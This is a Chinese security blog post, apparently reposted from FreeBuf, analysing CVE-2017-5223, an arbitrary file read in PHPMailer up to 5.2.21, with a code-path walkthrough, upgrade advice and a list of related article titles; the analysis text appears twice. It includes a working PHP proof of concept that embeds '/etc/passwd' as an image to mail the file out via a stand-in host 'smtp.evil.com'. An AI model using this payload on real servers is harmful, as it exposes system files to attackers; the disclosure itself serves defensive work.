PHPMailer任意文件读取漏洞分析(CVE-2017-5223)
2017-01-13 05:07
1171 查看
[b]*本文原创作者:Yxlink,本文属FreeBuf原创奖励计划,未经许可禁止转载[/b]
[b]PHPMailer是堪称全球最流行邮件发送类,其全球范围内的用户量大约有900万,被诸多开源项目所采用,包括WordPress、Drupal、1CRM、Joomla!等。铱迅安全团队于2017年1月6日发现PHPMailer <= 5.2.21版本存在任意文件读取漏洞,成功利用该漏洞,可获取服务器中的任意文件内容。目前该漏洞已提交官方,并获得修复。[/b]
漏洞编号:
CVE-2017-5223
漏洞详情:
漏洞文件函数: class.phpmailer.php 的encodeFile函数。
该函数中接收了一个$path变量,最后该$path变量的值带入到了file_get_contents函数中执行。如果该$path变量可控即可任意文件读取:
通过跟踪发现AddAttachment 和AddEmbeddedImage 函数最后会调用到encode File函数。 AddAttachment函数的作用是在邮件中发送附件的,如果附件名称可控即可触发该漏洞。
主要来看AddEmbeddedImage函数,该函数是处理邮件内容中的图片的,现在只要$path可控即可触发该漏洞。现在就是寻找可控点:
回溯该函数发现msgHTML函数调用了该函数,msgHTML 函数是用来发送html格式的邮件,调用过程如下:
回溯$filename 看其是否可控,从代码中可以看出$filename是由$url赋值的。即:$filename = basename($url);
再来跟踪$url:
$url是通过解析$message里src=”xxxxx”而来的,$url最终被解析出来就是xxxxx,而$message就是我们发送邮件的自定义的内容。这样可控点就找到了,即可成功利用该漏洞了。
用$msg的内容给自己的邮箱发一封邮件,即可获取到服务器的/etc/passwd的内容。如图:
https://github.com/PHPMailer/PHPMailer
详情可参见:
https://github.com/PHPMailer/PHPMailer/blob/master/changelog.md
https://github.com/PHPMailer/PHPMailer/blob/master/SECURITY.md
[b]*本文原创作者:Yxlink,本文属FreeBuf原创奖励计划,未经许可禁止转载[/b]
[b]PHPMailer是堪称全球最流行邮件发送类,其全球范围内的用户量大约有900万,被诸多开源项目所采用,包括WordPress、Drupal、1CRM、Joomla!等。铱迅安全团队于2017年1月6日发现PHPMailer <= 5.2.21版本存在任意文件读取漏洞,成功利用该漏洞,可获取服务器中的任意文件内容。目前该漏洞已提交官方,并获得修复。[/b]
漏洞编号:
CVE-2017-5223影响版本:
PHPMailer <= 5.2.21漏洞级别:
高危漏洞详情:
漏洞文件函数: class.phpmailer.php 的encodeFile函数。该函数中接收了一个$path变量,最后该$path变量的值带入到了file_get_contents函数中执行。如果该$path变量可控即可任意文件读取:
通过跟踪发现AddAttachment 和AddEmbeddedImage 函数最后会调用到encode File函数。 AddAttachment函数的作用是在邮件中发送附件的,如果附件名称可控即可触发该漏洞。
主要来看AddEmbeddedImage函数,该函数是处理邮件内容中的图片的,现在只要$path可控即可触发该漏洞。现在就是寻找可控点:
回溯该函数发现msgHTML函数调用了该函数,msgHTML 函数是用来发送html格式的邮件,调用过程如下:
回溯$filename 看其是否可控,从代码中可以看出$filename是由$url赋值的。即:$filename = basename($url);
再来跟踪$url:
$url是通过解析$message里src=”xxxxx”而来的,$url最终被解析出来就是xxxxx,而$message就是我们发送邮件的自定义的内容。这样可控点就找到了,即可成功利用该漏洞了。
漏洞POC:
<?php #Author:Yxlink require_once('PHPMailerAutoload.php'); $mail = new PHPMailer(); $mail->IsSMTP(); $mail->Host = "smtp.evil.com"; $mail->Port = 25; $mail->SMTPAuth = true; $mail->CharSet = "UTF-8"; $mail->Encoding = "base64"; $mail->Username = "test@evil.com"; $mail->Password = "tes1234t"; $mail->Subject = "hello"; $mail->From = "test@evil.com"; $mail->FromName = "test"; $address = "testtest@test.com"; $mail->AddAddress($address, "test"); $mail->AddAttachment('test.txt','test.txt'); //test.txt可控即可任意文件读取 $mail->IsHTML(true); $msg="<img src='/etc/passwd'>test";//邮件内容形如这样写。 $mail->msgHTML($msg); if(!$mail->Send()) { echo "Mailer Error: " . $mail->ErrorInfo; } else { echo "Message sent!"; } ?>
用$msg的内容给自己的邮箱发一封邮件,即可获取到服务器的/etc/passwd的内容。如图:
漏洞修复:
漏洞详情目前已经提交给了PHPMailer官方,官方也已经发布了PHPMailer 5.2.22紧急安全修复,解决上述问题,受影响的用户应当立即升级:https://github.com/PHPMailer/PHPMailer
详情可参见:
https://github.com/PHPMailer/PHPMailer/blob/master/changelog.md
https://github.com/PHPMailer/PHPMailer/blob/master/SECURITY.md
[b]*本文原创作者:Yxlink,本文属FreeBuf原创奖励计划,未经许可禁止转载[/b]
相关文章推荐
- jenkins任意文件读取漏洞复现与分析 -CVE-2018-1999002
- phpcms <= v9.15 任意文件读取漏洞的分析和利用
- FFmpeg文件读取漏洞(CVE-2017-9993)
- FFmpeg任意文件读取漏洞分析
- PHP远程任意文件读取及目录遍历漏洞
- PHP任意文件上传漏洞CVE-2015-2348浅析
- FFmpeg任意文件读取漏洞分析
- [CVE-2014-8959] phpmyadmin任意文件包含漏洞分析
- CVE-2015-2348(PHP任意文件上传漏洞)
- PHPMailer 命令执行漏洞(CVE-2016-10033)分析
- PHP任意文件上传漏洞(CVE-2015-2348)
- FFmpeg任意文件读取漏洞分析
- FFmpeg任意文件读取漏洞分析
- FFmpeg任意文件读取漏洞分析
- TEC-004-php文件下载任意文件读取漏洞修复
- Smarty <= 3.1.32 PHP代码执行漏洞分析—【CVE-2017-1000480】
- PHPMailer 命令执行漏洞(CVE-2016-10033)分析(含通用POC)
- Fckeditor 2.4.2 php任意上传文件漏洞+修补方法
- Web迅雷远程任意文件读取漏洞
- PHP文件包含漏洞原理分析和利用方法